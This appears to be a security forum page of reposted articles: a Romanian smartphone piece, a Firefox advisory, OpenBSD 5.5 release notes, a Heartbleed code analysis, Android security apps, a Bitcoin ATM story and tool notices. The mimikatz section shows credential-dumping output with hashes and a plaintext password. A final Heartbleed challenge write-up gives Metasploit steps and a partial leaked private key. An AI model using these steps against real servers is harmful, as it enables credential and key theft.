Nytro

Î?i merit? oare pre?ul un smartphone High-End? Radu Neagu 30-04-2014 Ce aduce în plus un smartphone high-end? De ce am pl?ti 3000 de lei pentru un smartphone recent ap?rut? Cu ce ne ajut? faptul c? are un ecran de 5 inci ?i nu de 3,5? ?ine bateria mai mult la un smarpthone mai scump? Cu ce m? ajut? pe mine ca utilizator un smartphone mai scump? Acestea sunt doar o parte din întreb?rile pentru care ne-am gândit s? realiz?m un astfel de material. O mic? parte, ce e drept. Mul?i dintre apropia?i ?i mul?i al?i cititori ne întreab? dac? merit? s? pl?teasc? mai mult pentru a î?i achizi?iona un smartphone mai bun, iar r?spunsul nu este niciodat? simplu. Poate fi destul de simplu s? întrebi un posibil client sau chiar ?i un prieten ”Chiar ai nevoie de el?”, îns? aceast? întrebare îi poate nedumeri ?i mai mult. De cele mai multe ori, nu avem nevoie de el, îns? îl vrem! ?i ?tim bine c?, atunci când ne dorim ceva, vom g?si cele mai bune motive s? ?i cump?r?m. Sunt multe situa?ii ?i nu exist? niciodat? un r?spuns clar pentru nici una din ele. Vom vorbi, a?adar, de clasificarea smartphone-urilor, de tehnologia care se ascunde în spatele acestora ?i despre procesul de produc?ie. Sper?m s? în?elege?i cel mai bine de ce este sau nu este un smartphone scump alegerea ideal?. Clasificare smartphone-uri Este bine s? ?tim c? smartphone-urile se clasific? în trei mari categorii: Low-End, Mainstream ?i High-End. Cele trei categorii se întrep?trund, desigur, ?i nu exist? o delimitare clar? între ele, ci mai mult una impus? de pre?ul pe care îl pl?te?te utilizatorul. La fel ca orice alt produs din industria de IT&C, smartphone-ul se caracterizeaz? prin performan?a pe care o ofer? ?i prin func?iile pe care le aduce în plus fa?? de alte modele. Segmentul Low-End este compus în primul rând din dispozitive ieftine, al c?ror pre? de retail, f?r? abonament, este pân? în jurul sumei de 600-700 lei. Aceast? limit? este impus? mai degrab? de operatorii GSM, cei care ofer? aceste dispozitive gratuit pentru abonamentele de valoare mic?. Cele mai multe au un procesor single-core sau chiar dual-core la 1-1.2 GHz, 512-768-1GB de memorie RAM ?i un display de maxim 4 inci. Aici putem discuta de rezolu?ie, pu?ine dintre aceste dispozitive ajungând la 1280×720 pixeli. Conectivitatea este desigur limitat?, nu exist? un modul NFC, nu exist? WiFi 802.11n ?i foarte pu?ine modele sunt compatibile 4G. Chiar ?i acelea sunt limitate hardware la viteze de maxim 50 Mbps. Aici b?t?lia este destul de strâns? ?i chiar ?i decizia de cump?rare este f?cut? la fa?a locului, în func?ie de oferta operatorului de telefonie. Companiile produc?toare de dispozitive au foarte multe modele în aceast? gam?. Practic, cu un astfel de dispozitiv po?i face cam orice. Po?i naviga pe internet, po?i efectua desigur apeluri, po?i juca o mul?ime de jocuri, îns? totul cu o limit?. Înc?rcarea unei pagini se face mai greu, jocurile nu func?ioneaz? toate, exist? probleme de incompatibilitate sau de rulare a acestora. Software-ul, de obicei, las? de dorit. Nokia, de exemplu, a lansat o serie de modele cu Android care nu au aproape nici o leg?tur? cu Google Android. Chiar ?i magazinul de aplica?ii este unul proprietar ?i restrictiv. Segmentul Mainstream este compus din dispozitivele al c?ror pre? este în jurul sumei maxime de 1400-1500 lei. Aici întâlnim deja ecrane mai mari, de 5 inci, chiar ?i de 5,5 sau 6 inci, procesoare Quad-Core cu frecven?e de 1.2-1.7 GHz ?i rezolu?ii chiar FullHD. Memoria RAM este tot în jurul valorii de 1 GB, pu?ine modele vin cu o cantitate de memorie de 2 GB, iar acelea sunt probabil destul de greu de g?sit. Acestea sunt dispozitivele care se reg?sesc gratuit la abonamente mai mari, iar num?rul lor este de asemenea foarte mare. Jocurile au mai pu?ine limit?ri, conectivitatea este mai bun?, întâlnim viteze 4G pân? la 100 Mbps ?i chiar ?i conectivitate WiFi 802.11ac. În acest segment intr? foarte multe modele coreene precum Huawei, ZTE, Lenovo, îns? ?i alternative de la Samsung sau LG. Desigur, aici este un segment pentru care se agit? ?i companiile române?ti precum Allview, Evolio, dar ?i al?turi de segmentul low-end. Nu pot s? spun c? sunt slabe, sunt chiar performante, îns? au o serie de minusuri. Mai exact, touchscreen-ul nu este protejat de Gorilla Glass, construc?ia lor uneori parc? nu e finisat? ?i nu sunt optimizate software atât cât ar trebui. Aici se lupt? companiile produc?toare s? vin? cu o mul?ime de variante de interfe?e de utilizare. Segmentul High-End sau “aici sunt banii dumneavostr?”. Smartphone-urile cu un pre? ce dep??e?te 2000 de lei, cele pe care le g?sim la lansare în jurul valorii de 3000-3400 lei, sunt cele la care aspir? to?i utilizatorii. Avem procesoare Quad-Core cu frecven?e de pân? la 2,5 GHz, 2 sau 3 GB memorie RAM, cea mai bun? conectivitate 4G LTE ?i memorie de stocare de 32-64 GB, care mai este ?i extensibil?. În acest segment intr? un iPhone, un HTC One M8, un Samsung Galaxy S5, un LG G2 sau LG G Pro 2, un Galaxy Note 3. Nu cred c? mai merit? men?ionat faptul c? pe aceste dispozitive avem o interfa?? similar?, cu toate op?iunile posibile, sunt compatibile ?i ruleaz? perfect orice joc din Google Play ?i asta e ?i normal. Acestea sunt dispozitivele în care s-a investit cel mai mult, atât ca proces de produc?ie cât ?i ca brand. Desigur, materialele din care sunt construite aceste dispozitive sunt unele premium, metal, aluminiu, piele fals? sau altele. Ecranul este protejat de cea mai nou? variant? de Gorilla Glass, sunt rezistente la c?z?turi sau la scufund?ri în ap?. Procesul de produc?ie La fel ca ?i la ma?ini, o mare parte din procesul de produc?ie dedicat smartphone-urilor scumpe este apoi folosit pentru a le produce pe cele mai ieftine. Marketing-ul se va duce îns? doar c?tre cele de top, acesta fiind ?i motivul pentru care la fiecare lansare de produs high-end auzim numai despre modelul scump, în reclame la TV, pe strad?, la cinema, în mall, în parc. Dac? acest smartphone va avea succes, cu siguran?? ?i celelalte modele mai ieftine ale companiei vor avea vânz?ri mai bune. În pre?ul unui smartphone high-end, sunt mai multe elemente ce trebuie luate în calcul. Avem procesul de cercetare ?i dezvoltare. Spre deosebire de un smartphone low-end, modelul de top st? mult mai mult timp pe masa designerilor pentru a fi cel mai bun. De la materiale la componente, form? ?i design, toate smartphone-urile high-end sunt tratate cu cea mai mare aten?ie. Dup? acest proces, urmeaz? cercetarea de pia??, care este mai am?nun?it? decât în cazul variantelor mai ieftine ?i mult mai agresiv?. Aici sunt implica?i anali?ti din diverse domenii, de multe ori de la agen?ii dedicate, ale c?ror cuno?tin?e sunt necesare pentru a determina dac? un produs va avea un succes sau nu. Materialele au un cost mai ridicat. Metalul sau aluminiul sunt materialele cel mai greu de prelucrat pentru smartphone-uri ?i, desigur, cele mai scumpe. Procesul actual de produc?ie pentru carcasa unui smartphone din aluminiu, cum este cazul lui HTC One M8 ?i a iPhone-ului, se realizeaz? prin ?lefuirea ?i g?urirea unui bloc de aluminiu. De aici ?i costul mai ridicat al produsului final. Pe lâng? materiale, avem cele mai puternice procesoare, cele mai fiabile dintre componente instalate, ?i cele mai performante display-uri. Acesta din urm? este cel mai scump element al unui smartphone. În cazul lui S5 ajunge la aproximativ 63 de dolari din totalul de 256 de dolari cu care este produs. Concluzie Devalorizarea unui produs electronic are loc din momentul în care acesta a ap?rut pe pia??. Pre?urile mai ridicate la început sunt menite s? acopere cheltuielile ini?iale de dezvoltare ?i pe cele de marketing aferente. De aici ?i motivul pentru care un smartphone cost? la lansare 3400 de lei, iar la câteva luni se g?se?te ?i la 2400 lei. Devalorizarea este cea mai resim?it? la produsele high-end, este unul dintre motivele pentru care nu se recomand? achizi?ia celui mai nou model, chiar în prima s?pt?mân? de la lansare. Ca r?spuns la întreb?rile de mai sus, situa?ia st? în felul urm?tor: nu exist? un singur r?spuns. E drept, un smarpthone high-end merit?, aproape din toate punctele de vedere. Totu?i, cel mai important este momentul achizi?iei. Clien?ii smartphone-ului high-end sunt de obicei tinerii, care urm?resc pia?a ?i care î?i permit aceste dispozitive ori sunt dispu?i la compromisuri pentru achizi?ie. Mai sunt mul?i utilizatori care le cump?r? doar pentru a face o declara?ie asupra statutului financiar, de?i poate nu le folosesc nici la jum?tate din capacitatea lor. Indiferent care v? este motivul, sfatul nostru este ca întotdeauna s? ave?i pu?in? r?bdare, pân? mai scade un pic pre?ul. Sursa: Î?i merit? oare pre?ul un smartphone High-End?

Firefox 29 fixes several critical flaws, including memory safety bugs Mozilla rolled out Firefox 29 on Tuesday, a huge overhaul that addresses 15 security vulnerabilities, six of which are deemed critical, meaning the bug could be used to run attack code and install software with no user interaction aside from normal browsing. The critical vulnerabilities included three use-after-free bugs in nsHostResolve, imgLoader, and Text Track Manager for HTML video; a privilege escalation issue through Web Notification API, and two memory safety flaws in the browser engine and other Mozilla-based products, an advisory from the company said. Of note, the memory safety bugs ( CVE-2014-1518 and CVE-2014-1519) could allow remote attackers to launch denial-of-service attacks against users, or execute arbitrary code through "unknown vectors," the company warned. Sursa: Firefox 29 fixes several critical flaws, including memory safety bugs - SC Magazine

[h=2]OpenBSD 5.5[/h]eleased May 1, 2014 Copyright 1997-2014, Theo de Raadt. ISBN 978-0-9881561-3-5 5.5 Song: "Wrap in Time" Order a CDROM from our ordering system. See the information on the FTP page for a list of mirror machines. Go to the pub/OpenBSD/5.5/ directory on one of the mirror sites. Briefly read the rest of this document. Have a look at the 5.5 errata page for a list of bugs and workarounds. See a detailed log of changes between the 5.4 and 5.5 releases. 5.5 base signify pubkey: RWRGy8gxk9N9314J0gh9U02lA7s8i6ITajJiNgxQOndvXvM5ZPX+nQ9h 5.5 fw signify pubkey: RWTdVOhdk5qyNktv0iGV6OpaVfogGxTYc1bbkaUhFlExmclYvpJR/opO 5.5 pkg signify pubkey: RWQQC1M9dhm/tja/ktitJs/QVI1kGTQr7W7jtUmdZ4uTp+4yZJ6RRHb5 All applicable copyrights and credits can be found in the applicable file sources found in the files src.tar.gz, sys.tar.gz, xenocara.tar.gz, or in the files fetched via ports.tar.gz. The distribution files used to build packages from the ports.tar.gz file are not included on the CDROM because of lack of space. [h=3]What's New[/h] This is a partial list of new features and systems included in OpenBSD 5.5. For a comprehensive list, see the changelog leading to 5.5. Sursa: OpenBSD 5.5

[h=1]mimikatz[/h] mimikatz is a tool I've made to learn C and make somes experiments with Windows security. It's now well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets. .#####. mimikatz 2.0 alpha (x86) release "Kiwi en C" (Apr 6 2014 22:02:03) .## ^ ##. ## / \ ## /* * * ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 13 modules * * */ mimikatz # privilege::debug Privilege '20' OK mimikatz # sekurlsa::logonpasswords Authentication Id : 0 ; 515764 (00000000:0007deb4) Session : Interactive from 2 User Name : Gentil Kiwi Domain : vm-w7-ult-x SID : S-1-5-21-1982681256-1210654043-1600862990-1000 msv : [00000003] Primary * Username : Gentil Kiwi * Domain : vm-w7-ult-x * LM : d0e9aee149655a6075e4540af1f22d3b * NTLM : cc36cf7a8514893efccd332446158b1a * SHA1 : a299912f3dc7cf0023aef8e4361abfc03e9a8c30 tspkg : * Username : Gentil Kiwi * Domain : vm-w7-ult-x * Password : waza1234/ ... Download: https://github.com/gentilkiwi/mimikatz/

[h=1]Heartbleed – How Did Internet Security Almost Bleed Out?[/h] vince_kornacki Today marks the one month anniversary of the devastating Heartbleed vulnerability. Specifically, one month ago today Google first notified the OpenSSL development team of the vulnerability. From the start CVE-2014-0160 was not just another software vulnerability. No, this one was big. A vulnerability of epic proportion. Who would've thought that a simple buffer over-read could threaten to undermine the security of the Internet? As you know by now, Heartbleed allows attackers to read 64KB of server memory. What exactly is contained in that 64KB of server memory? Well that's a little random. Depending on the location of the heartbeat payload within server memory, the leak could reveal cryptographic keys, usernames and passwords, email messages, and a multitude of other sensitive information. How could this possibly happen? Looking back, a series of cascading failures is to blame. Let's start with the TLS Heartbeat Extension protocol defined in RFC 6520. The TLS Heartbeat Extension protocol is designed to maintain and verify a TLS connection without the need to renegotiate the connection every time. The client sends heartbeat payload to the server, and the server responds with the exact same heartbeat payload in order to verify the connection. But why was the heartbeat payload designed as a variable length field? And why would the heartbeat payload possibly need to be a whopping 64KB in length? Wouldn't a fixed length field of 64 bytes have been more than sufficient? Or was the heartbeat payload designed to covertly transfer Tolstoy's War And Peace? Defining a fixed length heartbeat payload field of 64 bytes would've simplified the application code and likely prevented the Heartbleed vulnerability. Ironically the "Security Considerations" section of RFC 6520 states that "this document does not introduce any new security considerations." Oops. What about the programmers? OpenSSL development is "volunteer-driven", and is performed by a staff of eight programmers. The developers perform an incredible service to the Internet at large, providing critical software that is used to secure electronic commerce, financial transactions, and everything else that must be encrypted over the World Wide Web. Recently a consortium of more than a dozen major technology corporations consisting of Amazon, Cisco, Dell, Facebook, Fujitsu, Google, IBM, Intel, Microsoft, NetApp, Rackspace, Qualcomm and VMWare pledged $100,000 per year for the next three years to help fund open source projects such as OpenSSL. Will this help solve the problem? Yes. Will this solve the problem completely? No. Technology corporations boast an impressive stable of well-paid developers, yet critical vulnerabilities are still identified within commercial software at an alarming rate. As long as programmers are human, mistakes will be made and critical vulnerabilities will be introduced into application code. What about the programming language? Like many open source software components, OpenSSL is written in the C programming language. One of the reasons that the C programming language is so powerful is because of direct memory management. C memory allocation and pointers allow programmers incredible control over program execution. Unfortunately, these very same features make the C programming languages extremely dangerous. Common C programming mistakes can lead to critical vulnerabilities such as buffer overflows and, in the case of the Heartbleed vulnerability, buffer over-reads. What about the application code? The vulnerable code was introduced with OpenSSL 1.0.1 on March 14, 2012. Depending on whether TLS or DTLS was utilized, the vulnerable code was located within the "tls1_process_heartbeat()" function of the "t1_lib.c" file or the "dtls1_process_heartbeat()" function of the "dl_both.c" file, respectively. Let's consider the "tls1_process_heartbeat()" function of the vulnerable "t1_lib.c" file. The function is called with an SSL data structure passed by reference: 2437 tls1_process_heartbeat(SSL *s)Later the "p" variable is initialized as a pointer to the heartbeat request, and the purported payload length is read from "p" into "payload": 2446 n2s(p, payload);Note that the actual payload length is never verified. The next line initializes the "pl" variable as a pointer to the payload: 2447 pl = p;Later "pl" is copied into "bp", a pointer to "buffer": 2469 memcpy(bp, pl, payload);Finally "3 + payload + padding" bytes of "buffer" are transmitted to the client: 2474 r = ssl3_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, 3 + payload + padding);Because the actual length of the payload received from the client is never verified, the client can send a single byte of payload but specify a payload length of 65,536 bytes, triggering the Heartbleed vulnerability and leaking 65,535 bytes of data stored within server memory. RFC 6520 actually states that the payload length must not exceed 2^14 bytes, but the payload length is stored in a 16-bit integer and this restriction is not enforced, so 2^16 bytes can be extracted from server memory. Worse yet, in order to improve performance OpenSSL developers utilized a custom freelist implementation instead of the standard "malloc()" and "free()" memory allocation functions. Consequently, the memory returned by the server is more likely to contain sensitive information. The patched version of the previously vulnerable "t1_lib.c" file adds proper bounds checking in order to prevent the buffer over-read and therefore eliminate the Heartbleed vulnerability. If the actual length of the payload received from the client is greater than the purported payload length, the heartbeat response is not sent: 2601 if (1 + 2 + payload + 16 > s->s3->rrec.length) 2602 return 0; /* silently discard per RFC 6520 sec. 4 */ What about disclosure? What a mess! According to the timeline compiled by Fairfax Media, Google first identified the Heartbleed vulnerability on or before March 21. However, Google did not report Heartbleed to the OpenSSL development team until April 1. Heartbleed was next identified by Finland's Codenomicon on April 2. However, Codenomicon did not report Heartbleed to the OpenSSL development team until April 7, although Codenomicon did report the vulnerability to the National Cyber Security Centre Finland on April 3. Upon learning that a second researcher had identified the Heartbleed vulnerability, the OpenSSL development team released a security advisory and patched software later the same day. In between the initial Google discovery on March 21 and the patched software released on April 7, several companies including Google, Facebook, and Akamai were notified of the vulnerability and shrewdly disabled the TLS Heartbeat Extension. However, other companies including Cisco, Yahoo, and Twitter were not notified and therefore were unable to disable the TLS Heartbeat Extension. Who else knew about the Heartbleed vulnerability since it was introduced with OpenSSL 1.0.1 on March 14, 2012? How did two separate researchers identify Heartbleed 12 days apart after the vulnerability lingered within the OpenSSL code for over two years? Why the bumpy vulnerability disclosure timeline? Suffice it to say that the Heartbleed vulnerability did not set the standard for responsible vulnerability disclosure. What about security awareness? Finally a bright spot! On April 5, Codenomicon purchased the Heartbleed.com domain, where it published details regarding the vulnerability on April 7. The information was thorough and well written, and the clever Heartbleed logo resonated with the media and Internet users alike: The Hearbleed vulnerabilty was all over the news. Sites like Wikipeida and XKCD did a fantastic job explaining the vulnerability to non-technical Internet users. Mashable compiled a list of passwords that needed to be changed immediately. And a myriad of sites allowed you to test arbitrary servers for the presence of the Heartbleed vulnerability. All things considered, Heartbleed security awarenesss was handled in an exemplary manner. So what now? Can we guarantee that Hearbleed will never happen again? No. Application code is still written by humans, so mistakes will be made. They are inevitable. However, it is crucial that the technology industry learns from Heartbleed in order to improve processes surrounding protocol design, software development, and vulnerabilty disclosure. Only then can the technology industry stop a series of casccading failures from resulting in another devastating security vulnerability. Sursa: Heartbleed – How Did Internet Security Almost Bleed Out? | Symantec Connect Community

[h=1]Malware Sample Sources for Researchers[/h] Malware researchers have the need to collect malware samples to research threat techniques and develop defenses. Researchers can collect such samples using honeypots. They can also download samples from known malicious URLs. They can also obtain malware samples from the following sources: Contagio Malware Dump: Free; password required KernelMode.info: Free; registration required Malshare: Free Malware.lu's AVCaesar: Free; registration required MalwareBlacklist: Free; registration required Malwr: Free; registration required NovCon Twitter EXE Parsing: Free; provides links to live sites; may include benign files NovCon Twitter EXE Parsing: Free; provides links to potentially-malicious executables shared on Twitter Open Malware: Free SecuBox Labs: Free Virusign: Free VirusShare: Free Be careful not to infect yourself when accessing and experimenting with malicious software! Thanks to Mila for outlining many of these sources in her blog posting on the topic. My other lists of on-line security resources outline Automated Malware Analysis Services and On-Line Tools for Malicious Website Lookups. Sursa: Malware Sample Sources for Researchers

Tool to generate ROP gadgets for ARM, x86, MIPS and PPC [h=1]xrop[/h] xrop is a simple tool to generate ROP gadgets. It supports PE, ELF, Mach-O and perhaps other executable formats. It uses the libxdisasm library and currently supports generating ROP gadgets for x86, x86_64, arm, and soon ppc and mips. Download: https://github.com/acama/xrop

The Best Android Security Apps April 28, 2014 Serge Malenkovich Security is not just anti-malware protection. As a concept, mobile security is comprised of privacy features, permission restrictions for too nosy applications, a backup capability in case your smartphone gets broken, a blacklist for undesirable calls, as well as encryption and parental control functionalities. Android is a very flexible OS, and all these challenges can be well dealt with if you choose the right security app from Google Play. Yet there is an abundance of suitable options, so we decided to help you by making a short list of the best security applications. App Lock Password-enabled security of apps and multimedia Free / Premium Almost all apps on a smartphone behave as if any person who lays hands on the device is the rightful owner. Yet this is not true. A friend could take your phone “just to check out what’s there”, children would use it to play, and colleagues and relatives – just to stick their noses into it out of sheer interest. In the two latter cases, a graphic security code or PIN lock could help, but when you give the device to a friend or a child, you ought to unblock it anyway. So, all your private data, in this case, is likely to be exposed in a couple of clicks. App Lock solves this problem by creating a list of protected applications. On launching them, one must enter an additional security code. Moreover, you can store some private photos and videos in a media gallery secured by a password, and leave all the rest in the ordinary folder. For the most paranoid users, App Lock is able to hide itself from view, and in that case, the app settings are activated only via a secret dialing code. App Ops Revoke application’s permissions Free On installing any application, Android notifies you which permissions are required. If you happen to find out that the new “live wallpaper” needs to access your contact list for text messaging (by the way, this is a very bad sign, and in this case, you’d better not install it), you have no other choice than to either accept the negative consequences or abort the installation. However, an increasing number of apps require more “extra” permissions. It just so happens, however, that Google has a tool to selectively revoke permissions from already installed applications. This feature was immediately available in Android 4.3 and is called App Ops. Unfortunately, in V4.4.2 it was taken away. App Ops simply offers access to Google’s setting screen where you can restrict any app’s access to the contact list, user’s geolocation, and so on. For Android 4.4.2 and later, unfortunately, App Ops functionality requires root access. For Android versions below 4.3, App Ops is not available, but the LBE Privacy Guard app offers a comparable set of features. #Android‘s hidden function: to revoke permissions from already installed apps. You can, for instance, disable GPS tracking via an app. EDS Smartphone data encryption $8 For those who have to store confidential documents on a smartphone, locking apps like App Lock or PIN codes are not enough to secure the data. With Android 3.0 and later versions, the operating system offers capabilities to encrypt all data stored on a smartphone. The process serves to ensure maximum security of the data, but a full-fledged password is required every time one wants to use the smartphone otherwise, the very approach is of no use at all. It is quite a tedious job to enter a password 50 times a day, so there is an alternative: to encrypt only the most sensitive data. Applications like EDS are a suitable option. It creates a container file in the smartphone’s memory and securely encrypts the content. Storing a file in such a container ensures it is not accessed by anyone but you. EDS has two modes. The simpler of them presupposes fully manual operation of the container. The more advanced mode requires root access: in this case, an encrypted container, when in operation, is treated as a removable storage drive. When saving a file to that storage, you automatically encrypt it. An important side note: EDS containers are compatible with the TrueCrypt desktop app, simplifying the data exchange between systems. This app is recommended for end users, whereas enterprises and corporate users are required to install a special MDM solution, providing a holistic approach to mobile security. Funamo Parental Control Parental control over teenage users $20 per device A parental control app should operate differently, depending on the age of a child. For teenagers, the most suitable model functions as follows: the device is constantly possessed by the child, with parents setting a series of specific limitations, for example, denying access to porn web sites or setting a maximum duration time for mobile gaming. Google Play offers a dozen such applications, but many of them are not fully functional due to various reasons. Funamo Parental Control works as expected: it enables web site block via certain keywords, restrictions toward in-game purchases, compulsory Safe Search capability on Google, Bing and Yahoo; limitations to certain app launches (based on time of the day, gameplay duration, etc.). A parent can use a remote monitoring functionality (GPS location, text message reading, Web site history, etc.) via Web console. The major drawback of the app is the absence of category filtering (violence, politics, porn, etc.), while this capability is available in the Windows version of Kaspersky Internet Security and Kaspersky Safe Browser. On a side note, discreet monitoring is impossible, as the app always shows the icon in the notifications panel. So, parents should discuss the matter with their kids and establish mutually accepted rules of phone use. Gallery Lock Hiding a part of multimedia gallery Free/Premium Disclaimer: this application and those like it are not yet stable for Android 4.4 (KitKat). V4.4 users are recommended to backup their photos and check with caution, whether the Hide/Show function works correctly. Almost half of smartphone galleries store photos which are not intended for public use. A simple way to hide them without deletion is Gallery Lock. Selected shots are deleted from the default gallery and are stored in a special, password-protected gallery. The most reserved users can enable a “stealth’ function which is designed to hide the Gallery Lock icon and open the hidden gallery by a secret digit code in the Phone application. For those who would like to hide the contact list, calls, and messages as well, there is a special capability within Kaspersky Internet Security for Android. Kaspersky Internet Security for Android Anti-theft, anti-virus protection protecting a smartphone against fraud and tactless friends Free/Premium Of course, Kaspersky Internet Security for Android is designed to protect you against mobile viruses and dangerous web sites (phish web sites, for instance), but that is not the only good thing about it. Even the free version is equipped with a number of anti-theft capabilities. One can locate a forgotten smartphone by launching a buzzer, or remotely lock it and wipe up the data, or locate it via GPS, or take a photo of the person who found (or stole) it. Moreover, one can hide certain contacts from the contact list or text messages, making this communication stealth for those who happened to access the smartphone. There is also a blacklist functionality preventing certain people from making undesired phone calls or sending messages to you. Speaking of malware, we should note recent independent testing proved that Kaspersky Internet Security for Android showed a 100% level of security against malicious apps (which account for over 100,000 for just Android and only for Q1 2014). Kids Place Child mode on a smartphone Free The name of the application includes the “parental control” reference, but it is only partially so. It would be fairer to talk about the “child mode”, which is applied when a smartphone is voluntarily given to a child. In the “child” mode, the smartphone is not allowed to launch any apps except those which are included on a white list; it is not dialing phone numbers or accepting incoming calls and is restricting purchase and installation of new apps. That means: yes for gaming, no for using. Profit! LastPass Password manager Free / $12 a year A multiplatform password manager which enables a single cloud database for both PC and smartphone. Disabling advertising and getting access to additional features requires a purchase of the annual license. With LastPass, a user may access each web site via a unique and complex password, not overstretching one’s memorizing abilities. Compared to competitors, LastPass is attractive due to its two-factor authentication, which is ran on the launch of the app itself. My Backup Smartphone backup Free/Premium Whereas the backup capability is partially enabled in Android by default, and, provided you handled all the settings correctly, you won’t lose any contacts or apps no matter what happens. However, when setting up a new phone, you would have to go through the tedious process of re-setting everything; for example, placing necessary icons onto a screen. Also, some data, including call log and conversation history, is not included in the backup copy. The MyBackup app is trying to backup (and restore) every single part of your system: playlists, Wi-Fi hotspot names, autocorrect glossaries on a keyboard, application settings, etc. The copy can either be saved onto an SD card or the My Backup cloud storage. A number of features require root access. If compared to the renowned Titanium Backup, this app provides better functionality in “non-rooted” mode. Orbot Tor Project for Android Free Thanks to Edward Snowden’s revelations, the Tor Project and other tools for anonymizing one’s Internet presence gained significant popularity last year. Android flexibility allows the implementation of a Tor proxy on a smartphone, and Orbot does exactly this. After a simple setup, any app installed on a smartphone can connect to the Internet via a chain of “onion routers”, making the owner’s communications very hard to trace. The only condition is an application’s ability to work via a proxy server. In addition, Orbot developers suggest a number of privacy-friendly apps already optimized for Tor: a private browser, Orweb; a search app, DuckDuckGo; etc. Sursa: Applications to Secure your Android Smartphone | We use words to save the world | Kaspersky Lab Official Blog

Meet your Bitcoin ATM: Digital currency craze hits Seattle, with help from startup vets by Taylor Soper on 5/1/2014 at 6:00 am The city’s first-ever Bitcoin ATM went live today at the Spitfire Grill in Belltown, allowing people to make secure transactions with the volatile cryptocurrency that has been making headlines for the past year or so. The ATM, open seven days a week from 11 a.m. to 10 p.m., scans your palm and allows you to exchange cash for Bitcoin, or do the reverse. Customers can make up to $3,000 worth of Bitcoin exchanges per day. The machine is manufactured by Las Vegas-based Robocoin, which also built the world’s first Bitcoin ATM that was installed in Vancouver, B.C., this past October. It is operated by Coinme, a new Seattle company that will manage the kiosk and take a small fee for every transaction made on the ATM. Coinme General Manager Nick Hughes, who previously co-founded a mobile payments startup called Seconds, told GeekWire that the inspiration for starting Coinme came out of a frustration from the lack of accountability and authenticity in the digital currency industry. Coinme wants to help people make secure transactions with Bitcoin and educate them on what cryptocurrency is really all about. “If people are going to understand what Bitcoin is, they need to touch it and feel it in a safe and secure manner,” Hughes said. Hughes added that the ATM is a better way for people to buy and sell Bitcoin compared to existing methods. “It’s a heck of a lot faster and safer, and more secure than utilizing some sort of exchange,” he said. If you aren’t familiar with Bitcoin, it’s the emerging decentralized, digital currency gaining popularity and acceptance as of late. Right now, one Bitcoin is worth about $450. That number skyrocketed past $1,000 in November, but eventually came back down amid security concerns. Some companies have shown enthusiasm for Bitcoin, while others like Amazon are staying far away from it. Overstock.com, the Salt Lake City-based online retailer, said in March that it took just over two months to sell more than $1 million in products to Bitcoin owners. Nick Hughes More recently, Bloomberg offered its stamp of approval after announcing this week that it would list Bitcoin on its financial data terminals. Then on Tuesday, the MIT Bitcoin club said it raised $500,000 to give every undergraduate student $100 worth of Bitcoin as a way to spread awareness about the digital currency and have on-campus businesses accept it. That’s a similar goal of Coinme, which is backed by angel investors in Seattle and plans to hold monthly Bitcoin Meetups with industry experts as part of an overall mission to teach the public about Bitcoin. “People need to be able to talk about this and be educated about it,” Hughes said. “They need to hear about the risk and rewards from credible people.” Even though there are already three existing Robocoin ATMs in California and Texas — in addition to 10 others around the world — Coinme claims it has the nation’s first licensed Bitcoin ATM. Coinme Compliance Officer Neil Bergquist worked closely with state and federal regulators to make sure that transactions on the ATM would be compliant with existing money transmitter laws. With their new endeavor, Hughes and Bergquist say they aren’t necessarily all-in about the future of Bitcoin, but rather the digital currency industry in general. “The fact is, cryptocurrency is here to stay,” Hughes said. “We don’t know what the name of it will be specifically, but our bet is on the future of digital currency.” “We’re just led by curiosity,” added Bergquist, who is separately the director of Seattle’s SURF Incubator. “We want to see where this goes and it’s really a pursuit of knowledge. We’re learning as much as anyone else.” Hughes said that Coinme, which works out of SURF, plans to unveil more Bitcoin ATMs in the Seattle region soon. The company picked Spitfire as its launch location based primarily on accessibility. “Belltown is fairly central in Seattle and Spitfire is well known in the tech industry,” Hughes said. “They are also open for a long period of time, which will make the machine available throughout the day and night.” You can check out the new Bitcoin ATM at today’s launch party, which will feature a Bitcoin expert panel. Here’s an infographic explaining what Bitcoin is all about and how to use the new ATM. Sursa: Meet your Bitcoin ATM: Digital currency craze hits Seattle, with help from startup vets - GeekWire

[h=2]“A Post-Mortem on Heartbleed" webcast - challenge solved[/h] I hope this is the right place to post this. Last week Qualys presented on a webcast: “A Post-Mortem on Heartbleed - What Worked and What Didn't: Real-world case study on how the State of Colorado responded to this critical vulnerability.” https://www.qualys.com/forms/webcasts/heartbleed/?leadsource=17265983 For this presentation they stood up a website that is vulnerable to the Heartbleed bug and put out a challenge to get the private keys, the encrypted file, and decrypt the file for a prize. Here are the steps I used to get that prize. Go to the website and register to login and get the "secret file" --note: don't use a real username or password because it can be visible while exploiting the bug. Register @ https://hbdemo.kandek.com/ After registering to the site and logging in I was able to download the “Secret” encrypted file and save it locally for use later. Download https://hbdemo.kandek.com/supersecret.txt.enc Next we move on to exploiting the vulnerability in the site. using metasploit-framework on ubuntu 12.04 > sudo ./msfconsole > use auxiliary/scanner/ssl/openssl_heartbleed > set RHOSTS hbdemo.kandek.com > set RPORT 443 > set VERBOSITY true > set ACTION KEYS > run In only a few seconds I had my answer. -----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEAsJVkN8MW8jpjLwz8YwWMk+Xhvk6Dz/0neLkAXZFAmtgnZsKy NOHotstIlp5+ehf1Skf+WdrKLvATe8RpG7IOtvkO/gQnOnGT6nefNMRQG8Riw0MS OpFUdNwLrXQnptStDtBTUFq+cY8w1ChRw4PBDjLq/3sKdSxARYDiZNUJ0RlXKfJk DlXi1JEOICvsoYuY7Z5CjHjy2rMck+Xu0d5L0KWGcqGNsdjdtE/NhhOzsvXq/n8T aPySSfHL5Xh9B9LsAb2evOV8t9bs2l7ASU76/sLTho8VFb9pohluHwGmWQuGaIpx E/ZjheV4XW2cGiJmf79ccwcjdz8plzWGd66gkQIDAQABAoIBAE5enxHYdbCflTFm lATmi5OALQYnFn0Sn5gGk1DzjDasxB/pPOoXcQ7ffaHLSdqqE2UaOppqbd0TE7KU Ywm1pq4yLyMxeK+JhNpEqNXkYqFQMXzzoX14zoDmwBAFQyvZq8ytTKyW+Xqw0Dz4 